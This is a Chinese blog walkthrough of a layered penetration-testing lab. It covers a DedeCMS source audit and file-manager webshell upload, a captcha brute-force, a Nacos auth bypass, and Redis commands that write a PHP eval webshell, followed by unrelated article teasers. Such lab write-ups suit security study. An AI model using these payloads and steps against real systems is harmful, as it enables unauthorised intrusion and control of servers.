三层渗透测试-DMZ区域 二三层设备区域
DMZ区域渗透
信息收集
首先先进行信息收集,这里我们可以选择多种的信息收集方式,例如nmap如此之类的,我的建议是,可以通过自己现有的手里小工具,例如无影,密探这种工具,进行一个信息收集。以免在信息收集的环节,遗漏一些信息,导致后续渗透任务的失败。话不多说,我们先确定靶机地址
使用ifconfig命令,查看kali攻击机与DMZ靶机相连接的网卡,这里得到一个网段地址:192.168.50.0/24
使用nmap对其网段进行扫描
扫出来一个192.168.50.128开放了8080端口,这里建议访问一下,是不是我们的目标靶机
成功访问到一个cms平台,那证明上述ip靶机已经发现。那我们还要继续进行一些常见的信息收集,利用目录扫描工具进行扫描
使用dirsearch进行工具的扫描
得到如下结果,可能会有用的
/member/login.php
/robots.txt
/data/sessions
再用我们自带的字典进行查找:这个地方我直接用无影来扫了
这里我们得到一个管理后台的地址
又得到一个与sql文件有关的txt文件
我们现在先查看此sql文件存在那些相关信息
发现FTP服务的账户与密码
以及SMTP服务器的相关密码信息。
我们现在就需要去连接一下FTP服务器,看看上面存在什么文件。
发现上面服务器存在dedecms.zip估计就是网站的源码,先把他pull下来
我们将我们得到的信息进行总结
端口开放信息:
21/tcp open ftp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
8080/tcp open http-proxy目录信息:
/member/login.php //普通用户登录
/robots.txt
/data/sessions
/dede/login.php //后台管理用户登录文件信息:
/install/sql-dfdata.txt //sql文件信息服务器相关信息:
FTP wwwroot/1
SMTP desdev/7260444huxiao网站源码信息:
dedecms.zip网站系统版本:
dedecms57
源码审计&GETSHELL
通过上述的信息收集,我们已经知道/dede/login.php 是网站后台管理的登录页面,那我们可以先从此处入手逐渐分析
先分析这个目录下的文件:我们的目标是为了通过分析代码,找到有无我们可以利用的漏洞点,利用管理员账户的账户与密码信息,或者是登录框存在sql注入。登陆到后台找到有无存在文件上传getshell的功能点。话不多说,先进行分析
先来到login.php
<?php
/*** 后台登陆** @version $Id: login.php 1 8:48 2010年7月13日Z tianya $* @package DedeCMS.Administrator* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.* @license http://help.dedecms.com/usersguide/license.html* @link http://www.dedecms.com*/
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/userlogin.class.php');
if(empty($dopost)) $dopost = '';//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') ){$fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!');fwrite($fp,'ok');fclose($fp);}//为了防止未知安全性问题,强制禁用安装程序的文件if( file_exists("../install/index.php") ) {@rename("../install/index.php", "../install/index.php.bak");}if( file_exists("../install/module-install.php") ) {@rename("../install/module-install.php", "../install/module-install.php.bak");}$fileindex = "../install/index.html";if( !file_exists($fileindex) ) {$fp = @fopen($fileindex,'w');fwrite($fp,'dir');fclose($fp);}
}
//更新服务器
require_once (DEDEDATA.'/admin/config_update.php');if ($dopost=='showad')
{include('templets/login_ad.htm');exit;
}
//检测后台目录是否更名
$cururl = GetCurUrl();
if(preg_match('/dede\/login/i',$cururl))
{$redmsg = '<div class=\'safe-tips\'>您的管理目录的名称中包含默认名称dede,建议在FTP里把它修改为其它名称,那样会更安全!</div>';
}
else
{$redmsg = '';
}//登录检测
$admindirs = explode('/',str_replace("\\",'/',dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost=='login')
{$validate = empty($validate) ? '' : strtolower(trim($validate));$svali = strtolower(GetCkVdValue());if(($validate=='' || $validate != $svali) && preg_match("/6/",$safe_gdopen)){ResetVdValue();ShowMsg('验证码不正确!','login.php',0,1000);exit;} else {$cuserLogin = new userLogin($admindir);if(!empty($userid) && !empty($pwd)){$res = $cuserLogin->checkUser($userid,$pwd);//successif($res==1){$cuserLogin->keepUser();if(!empty($gotopage)){ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);exit();}else{ShowMsg('成功登录,正在转向管理管理主页!',"index.php");exit();}}//errorelse if($res==-1){ResetVdValue();ShowMsg('你的用户名不存在!','login.php',0,1000);exit;}else{ResetVdValue();ShowMsg('你的密码错误!','login.php',0,1000);exit;}}//password emptyelse{ResetVdValue();ShowMsg('用户和密码没填写完整!','login.php',0,1000);exit;}}
}
include('templets/login.htm');
登录逻辑:
这里存在一个函数,两个参数:
checkUser()
$userid
$pwd
还注意到在代码的开头,包含了两个文件
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/userlogin.class.php');
我们先全局搜索checkUser()函数
这个地方定义了这个函数,我们分析以后,还是没有看见有用的信息,至少得找到数据库sql文件才行。但是经过一番查询后无果,所以我先决定尝试下弱口令。看看是否能登录进去
由于此登录框存在验证码登录,我们需要用到一个插件进行爆破。这里给出地址
地址:https://github.com/f0ng/captcha-killer-modified
配置教程:https://blog.csdn.net/weixin_72986003/article/details/144359468?ops_request_misc=%257B%2522request%255Fid%2522%253A%252242e73ae4142c000e7df9f2123c3842f0%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=42e73ae4142c000e7df9f2123c3842f0&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-9-144359468-null-null.142^v101^pc_search_result_base8&utm_term=%E9%AA%8C%E8%AF%81%E7%A0%81%E7%88%86%E7%A0%B4&spm=1018.2226.3001.4187
这里已经配置好了,我们现在就开始爆破:
成功找到弱口令密码,得到管理员账户与密码
管理员账户密码:
admin/admin
现在进行登录:查看后台存在那些功能点,根据后台功能点,我们去反向审计源代码,查看是否存在漏洞。
进入首页后,我们发现在附件管理一栏,发现存在上传文件的功能点
上述提示到,系统的上传附件/其他 类型的文件,可以通过其修改系统参数而进行更改,那我们现在就需要找到系统参数的修改功能点,添加后门文件类型。
那这个地方,在附件管理的允许上传文件的类型中,我们可以去添加我们想执行的后门文件类型,例如
.php/.jsp/.asp
等诸如此类的文件,这里我们先上传一个shell,看看是否能执行。
但是这里没有上传成功,那这个地方我们没办法再次进行利用,现在只能去审计源码,看看后台哪里还存在功能点。
审计到一处管理文件功能点:
dede/file_manage_main.php
<?php
/*** 文件查看** @version $Id: file_manage_view.php 1 8:48 2010年7月13日Z tianya $* @package DedeCMS.Administrator* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.* @license http://help.dedecms.com/usersguide/license.html* @link http://www.dedecms.com*/
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
require_once(DEDEINC."/oxwindow.class.php");
$activepath = str_replace("..", "", $activepath);
$activepath = preg_replace("#^\/{1,}#", "/", $activepath);
if($activepath == "/") $activepath = "";
if($activepath == "") $inpath = $cfg_basedir;
else $inpath = $cfg_basedir.$activepath;//显示控制层
//更改文件名
if($fmdo=="rename")
{if($activepath=="") $ndirstring = "根目录";$ndirstring = $activepath;$wintitle = " 文件管理";$wecome_info = "文件管理::更改文件名 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("filename",$filename);$win->AddTitle("更改文件名,当前路径:$ndirstring");$win->AddItem("旧名称:","<input name='oldfilename' type='input' class='alltxt' id='oldfilename' size='40' value='$filename'>");$win->AddItem("新名称:","<input name='newfilename' type='input' class='alltxt' size='40' id='newfilename'>");$winform = $win->GetWindow("ok");$win->Display();
}
//新建目录
else if($fmdo=="newdir")
{if($activepath=="") $activepathname="根目录";else $activepathname=$activepath;$wintitle = " 文件管理";$wecome_info = " 文件管理::新建目录 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("token",make_hash());$win->AddTitle("当前目录 $activepathname ");$win->AddItem("新目录:","<input name='newpath' type='input' class='alltxt' id='newpath'>");$winform = $win->GetWindow("ok");$win->Display();
}//移动文件
else if($fmdo=="move")
{$wintitle = " 文件管理";$wecome_info = " 文件管理::移动文件 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("filename",$filename);$win->AddTitle("新位置前面不加'/'表示相对于当前位置,加'/'表示相对于根目录。");$win->AddItem("被移动文件:",$filename);$win->AddItem("当前位置:",$activepath);$win->AddItem("新位置:","<input name='newpath' type='input' class='alltxt' id='newpath' size='40'>");$winform = $win->GetWindow("ok");$win->Display();
}//删除文件
else if($fmdo=="del")
{$wintitle = " 文件管理";$wecome_info = " 文件管理::删除文件 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("filename",$filename);if(@is_dir($cfg_basedir.$activepath."/$filename")){$wmsg = "你确信要删除目录:$filename 吗?";}else{$wmsg = "你确信要删除文件:$filename 吗?";}$win->AddTitle("删除文件确认");$win->AddMsgItem($wmsg,"50");$winform = $win->GetWindow("ok");$win->Display();
}//编辑文件
else if($fmdo=="edit")
{if(!isset($backurl)){$backurl = "";}$activepath = str_replace("..","",$activepath);$filename = str_replace("..","",$filename);$file = "$cfg_basedir$activepath/$filename";$content = "";if(is_file($file)){$fp = fopen($file,"r");$content = fread($fp,filesize($file));fclose($fp);$content = dede_htmlspecialchars($content);}$contentView = "<textarea name='str' id='str' style='width:99%;height:450px;background:#ffffff;'>$content</textarea>\r\n";$GLOBALS['filename'] = $filename;$path_parts = pathinfo($filename);if ( $path_parts['extension'] == 'php' ){$GLOBALS['extension'] = 'text/x-php';} else if($path_parts['extension'] == 'js'){$GLOBALS['extension'] = 'text/javascript';} else if($path_parts['extension'] == 'css'){$GLOBALS['extension'] = 'text/css';} else {$GLOBALS['extension'] = 'text/html';}$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit.htm");$ctp->display();
}
/*编辑文件,可视化模式
else if($fmdo=="editview")
{if(!isset($backurl)){$backurl = "";}if(!isset($ishead)){$ishead = "";}$activepath = str_replace("..","",$activepath);$filename = str_replace("..","",$filename);$file = "$cfg_basedir$activepath/$filename";$fp = fopen($file,"r");@$content = fread($fp,filesize($file));fclose($fp);if((eregi("<html",$content) && eregi("<body",$content)) || $ishead == "yes"){$contentView = GetEditor("str",$content,"500","Default","string","true");}else{$contentView = GetEditor("str",$content,"500","Default","string","false");}$GLOBALS['filename'] = $filename;$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit_view.htm");$ctp->display();
}
*/
//新建文件
else if($fmdo=="newfile")
{$content = "";$GLOBALS['filename'] = "newfile.txt";$contentView = "<textarea name='str' style='width:99%;height:400'></textarea>\r\n";$GLOBALS['token'] = make_hash();$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit.htm");$ctp->display();
}//上传文件
else if($fmdo=="upload")
{$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_upload.htm");$ctp->display();
}
这个地方,上传的代码,并没有存在任何的上传过滤,对文件内容,以及常见的恶意文件后缀名没有进行任何的过滤,导致我们可以轻松获得shell。
成功上传shell。但是在平常的练习中,尽可能找到多的代码漏洞点。所以,我们继续审计代码,查看有无其他漏洞点。
/dede/media_main.php
在此处,我们发现,他调用了上述文件管理的功能点,所以这里也可上传shell,对应到web站点上
这里我就不在继续进行源码分析,我们先继续往下进行。
访问我们shell。使用蚁剑进行连接
shell地址:
http://192.168.50.128:8080/shell.php
成功获得flag
flag{78477a738c06620b872421af357d2cd5}
完成我们的DMZ区域的任务。
目标
拿下二层网络设备获取某服务内的flag
二层设备区域渗透
前期渗透准备
对于内网的渗透,我们前期要考虑诸多的因素,比如内网的首台机器,出不出网。这是一点,其次是内网环境到底是存在内网域或者是其他,渗透手法也不近相同。除此之外,内网的渗透其实和外网相差不大,但是在前期的信息收集等方面还是存在一定的差异。在前期渗透准备时,我们需要将我们的工具上传到我们此时已经拿到shell的服务器或者主机上。因为在宿主机上是不存在我们的渗透的工具的,如果宿主机出网,我们能够下载工具也无不可。
先连接蚁剑进行工具的上传
成功上传至我们的DMZ区域。现在就要进行信息的收集。
二层区域渗透
常见的来说,我们需要知晓在此机器上存在几张网卡,网段ip是什么。所以先行找到这个部分。
这里我们可以发现在二网卡的网段
192.68.60.0/24
所以现在就好办了,我们用我们已经上传的fscan进行扫描针对这个网段,看看能不能扫描出来一些有用的东西。
成功扫描以后,会在fscan的当前目录下生成一个result.txt文件,我们可以进行查看。
在其扫描的结果内我们可以看见,我们的fscan的POC扫描成功扫描出来一个在192.168.60.129的8848的一个nacos的一个漏洞。
由于我们的攻击机是不能直接访问到二层设备区域的,这里咱们使用frp进行反向代理,使我们的攻击机也能正常访问我们的二层区域。
在kali攻击机中开启fprs.exe(服务端),frps.toml配置文件默认为7000端口,用于和客户端进行交互
然后在kali上开启服务,
再在DMZ区域进行连接。
这里就已经成功了。我们可以尝试用kali的工具去测试一下到底是否能连接成功。
成功能ping到。我们现在就对刚才那个漏洞进行测试。
这里用nuclei也能扫描到一些漏洞
因为这些密码是加密以后的,还原还是比较困难,或者大家可以去CMD5上面去查,我没钱,就只能用漏洞重置密码了。
文章分析:
https://blog.csdn.net/weixin_51345872/article/details/127066347?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522cb0d78319a8457953a471f680a14840e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=cb0d78319a8457953a471f680a14840e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-5-127066347-null-null.142^v101^pc_search_result_base8&utm_term=nacos-authentication-bypass&spm=1018.2226.3001.4187
/nacos/v1/auth/users?username=test123&password=test123
访问上述路由后会创建一个账号
账号密码:
test123/test123
成功创建,这里创建账号的时候我们使用的POST方式。并不是GET。
创建成功后,直接登录:
这是第一个flag
注意到还有其他的信息,我们这里看到。
存在一个password。当然现在不知道是哪里的密码。我们这里再用namp去扫一扫。
这里用nmap进行扫描的时候,我们也要进行代理,这里我们用proxychains进行代理。
在/etc/proxychains4.conf,添加如下配置。
这个地方就和刚才我们在frp中的攻击机地址一样即可。我们在进行nmap扫描的时候,就需要加一个前缀进行代理扫描。
例如:
这里纯扫描是不能行的,开启代理扫即可
这里扫出来了一个/phpinfo.php
我们能够得到一些敏感信息:
/var/www/html
能够得到我们的绝对路径
我们之前用fscan的方式也扫描出来一个redis的默认服务端口6379,那我们之前得到一个密码现在就起到了一个作,我们可以写一个shell进去。
config set dir /var/www/html
config set dbfilename shell.php
set x "\r\n\r\n<?php @eval($_POST['cmd']);?>"
save
前往蚁剑进行连接,此处可以使用蚁剑自行配置代理,或proxifier指定文件
在根目录下找到flag。
到这里第二层的渗透也结束了,我们现在要准备进行第三层的渗透测试
三层区域信息收集
老样子上传fscan到二层设备上
这里扫描出来一个MS17-010的漏洞
直接利用工具进行注入利用
然后再注入dll文件
这个过程中会创建一个账号密码分别为:
admin01/Config123!@#
我们进行连接
成功获得flag
相关文章:

三层渗透测试-DMZ区域 二三层设备区域
DMZ区域渗透 信息收集 首先先进行信息收集,这里我们可以选择多种的信息收集方式,例如nmap如此之类的,我的建议是,可以通过自己现有的手里小工具,例如无影,密探这种工具,进行一个信息收集。以免…...

领航Linux UDP:构建高效网络新纪元
欢迎来到 破晓的历程的 博客 ⛺️不负时光,不负己✈️ 文章目录 引言Udp和Tcp的异同相同点不同点总结 1.1、socket1.2、bind1.3、recvfrom1.4、sendto2.1、代码2.1、说明3.1、代码3.2、说明 引言 在前几篇博客中,我们学习了Linux网络编程中的一些概念。…...

基于MATLAB的均匀面阵MUSIC算法DOA估计仿真
基于MATLAB的均匀面阵MUSIC算法DOA估计仿真 文章目录 前言一、二维MUSIC算法原理二、二维MUSIC算法MATLAB仿真三、MATLAB源代码总结 前言 \;\;\;\;\; 在波达角估计算法中,MUSIC 算法与ESPRIT算法属于特征结构子空间算法,是波达角估计算法中的基石。在前面…...
HTML/CSS中后代选择器
1.作用:选中指定元素中,符合要求的后代元素. 2.语法:选择器1 选择器2 选择器3 ...... 选择器n(使用空格隔开) 3.举例: /* 选中ul中的所有li */ul li{color: red;}/* 选中类名为subject元素中的所有li */.subject li{color: blue;}/* 选中类名为subject元素中的所有类名为f…...

深入解析「卡顿帧堆栈」 | UWA GPM 2.0 技术细节与常见问题
在游戏开发过程中,卡顿问题一直是影响玩家体验的关键因素。UWA GPM 2.0全新推出的「卡顿帧堆栈」功能,专为研发团队提供精准、高效的卡顿分析方案,能够直观呈现游戏运行时的堆栈信息,助力团队迅速找到性能瓶颈。该功能一经上线&am…...

推荐几款较好的开源成熟框架
一. 若依: 1. 官方网站:https://doc.ruoyi.vip/ruoyi/ 2. 若依SpringBootVueElement 的后台管理系统:https://gitee.com/y_project/RuoYi-Vue 3. 若依SpringBootVueElement 的后台管理系统:https://gitee.com/y_project/RuoYi-Cl…...
Mysql全文索引
引言 在MySQL 5.7.6之前,全文索引只支持英文全文索引,不支持中文全文索引,需要利用分词器把中文段落预处理拆分成单词,然后存入数据库。 从MySQL 5.7.6开始,MySQL内置了ngram全文解析器,用来支持中文、日文…...
配置终端代理
普通的魔法开启之后终端下git clone等命令仍然会无法使用,额外需要手动配置终端代理。 sudo vim /etc/apt/apt.conf.d/99proxyAcquire::http::Proxy "http://127.0.0.1:12334"; Acquire::https::Proxy "http://127.0.0.1:12334";在debian安装时…...

51单片机学习之旅——在LCD1602上显示时钟
新建工程 打开软件 LCD1602模块代码添加 因为我们在LCD1602上显示时钟,因此我们需要添加LCD1602的模块代码 跳转到这条博客51单片机学习之旅——模块化编程集_51单片机ruminant-CSDN博客,复制相关代码跳转到这条博客51单片机学习之旅——模块化编程集…...

Jest单元测试
由于格式和图片解析问题,可前往 阅读原文 前端自动化测试在提高代码质量、减少错误、提高团队协作和加速交付流程方面发挥着重要作用。它是现代软件开发中不可或缺的一部分,可以帮助开发团队构建可靠、高质量的应用程序 单元测试(Unit Testi…...
C++字符串处理指南:从基础操作到性能优化——基于std::string的全面解析
博主将从C标准库中的 std::string 出发,详细探讨字符串的处理方法,涵盖常见操作、性能优化和实际应用场景。以下内容将围绕std::string 的使用展开,结合代码示例进行说明。 一、std::string 的基本操作 1.1 创建与初始化 std::string 提供了…...

JVM类加载过程详解:从字节码到内存的蜕变之旅
一、类加载的意义与整体流程 在Java中,每一个.java文件经过编译都会生成.class字节码文件。但字节码本身并不能直接运行,必须通过 类加载(Class Loading)将其转化为JVM内存中的数据结构,才能被程序调用。 类加载过程就…...
【力扣Hot100详解】解锁“字母异位词分组”:用排序魔法一键通关力扣!
字母异位词分组,力扣第49题,看似是“找不同”的排列游戏,实则是哈希表与字符串处理的经典结合。这道题就像是一把钥匙,能帮你打开“如何高效归类数据”的算法大门。今天,我们就用 Java 带你用“排序魔法”轻松破解它&a…...

vite配置scss全局变量
vite配置scss全局变量 创建单独文件variable.scss在其中定义变量 vite.config.ts中配置 import { defineConfig } from vite import vue from vitejs/plugin-vue import path from path// https://vite.dev/config/ export default defineConfig({plugins: [vue()],resolve:…...
Spring Boot01(注解、)---java八股
Spring Boot中常用注解及其底层实现 1、SpringBootApplication注解: SpringBootApplication注解:这个注解标识了一个SpringBoot工程,它实际上是另外三个注解的组合,这三个注解是: aSpringBootConfiguration:…...

2.19学习记录
Web easyupload3.0 这是一道构造.htaccess文件的传马 如下: <FilesMatch "jpg">SetHandler application/x-httpd-php </FilesMatch>.htaccess文件可以作为一个解释器,可以将传进去的图片马改为php马上传之后再传个图片马&#…...

汽车免拆诊断案例 | 2013 款奔驰 S300L 车起步时车身明显抖动
故障现象 一辆2013款奔驰S300L车,搭载272 946发动机,累计行驶里程约为15万km。车主反映,将挡位置于D挡,稍微释放一点制动踏板,车辆蠕动时车身明显抖动,类似气缸失火时的抖动,又类似手动变速器…...

【HeadFirst系列之HeadFirst设计模式】第5天之工厂模式:比萨店的秘密武器,轻松搞定对象创建!
工厂模式:比萨店的秘密武器,轻松搞定对象创建! 大家好,今天我们来聊聊设计模式中的工厂模式。如果你曾经为对象的创建感到头疼,或者觉得代码中到处都是 new 关键字,那么工厂模式就是你的救星!本…...
Redis如何解决热Key问题
目录 **如何解决 Redis 的热 Key(Hot Key)问题?****解决方案** **1. 使用多级缓存****方案** **2. 进行 Key 预分片(Key Sharding)****方案** **3. 使用 Redis 复制机制(主从复制或集群)****方案…...

从开发到部署:EasyRTC嵌入式视频通话SDK如何简化实时音视频通信的集成与应用
嵌入式设备和视频综合管理平台均支持B/S架构。在B/S架构下,传统的视频观看方式依赖于微软的OCX控件,然而OCX控件的使用正面临越来越多的挑战: 首先,用户需要安装浏览器插件、调整浏览器安全级别,并允许ActiveX控件弹出…...
利用ngx_stream_return_module构建简易 TCP/UDP 响应网关
一、模块概述 ngx_stream_return_module 提供了一个极简的指令: return <value>;在收到客户端连接后,立即将 <value> 写回并关闭连接。<value> 支持内嵌文本和内置变量(如 $time_iso8601、$remote_addr 等)&a…...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明
AI 领域的快速发展正在催生一个新时代,智能代理(agents)不再是孤立的个体,而是能够像一个数字团队一样协作。然而,当前 AI 生态系统的碎片化阻碍了这一愿景的实现,导致了“AI 巴别塔问题”——不同代理之间…...
【决胜公务员考试】求职OMG——见面课测验1
2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...

HarmonyOS运动开发:如何用mpchart绘制运动配速图表
##鸿蒙核心技术##运动开发##Sensor Service Kit(传感器服务)# 前言 在运动类应用中,运动数据的可视化是提升用户体验的重要环节。通过直观的图表展示运动过程中的关键数据,如配速、距离、卡路里消耗等,用户可以更清晰…...
Caliper 负载(Workload)详细解析
Caliper 负载(Workload)详细解析 负载(Workload)是 Caliper 性能测试的核心部分,它定义了测试期间要执行的具体合约调用行为和交易模式。下面我将全面深入地讲解负载的各个方面。 一、负载模块基本结构 一个典型的负载模块(如 workload.js)包含以下基本结构: use strict;/…...

论文阅读:LLM4Drive: A Survey of Large Language Models for Autonomous Driving
地址:LLM4Drive: A Survey of Large Language Models for Autonomous Driving 摘要翻译 自动驾驶技术作为推动交通和城市出行变革的催化剂,正从基于规则的系统向数据驱动策略转变。传统的模块化系统受限于级联模块间的累积误差和缺乏灵活性的预设规则。…...
深度剖析 DeepSeek 开源模型部署与应用:策略、权衡与未来走向
在人工智能技术呈指数级发展的当下,大模型已然成为推动各行业变革的核心驱动力。DeepSeek 开源模型以其卓越的性能和灵活的开源特性,吸引了众多企业与开发者的目光。如何高效且合理地部署与运用 DeepSeek 模型,成为释放其巨大潜力的关键所在&…...
如何配置一个sql server使得其它用户可以通过excel odbc获取数据
要让其他用户通过 Excel 使用 ODBC 连接到 SQL Server 获取数据,你需要完成以下配置步骤: ✅ 一、在 SQL Server 端配置(服务器设置) 1. 启用 TCP/IP 协议 打开 “SQL Server 配置管理器”。导航到:SQL Server 网络配…...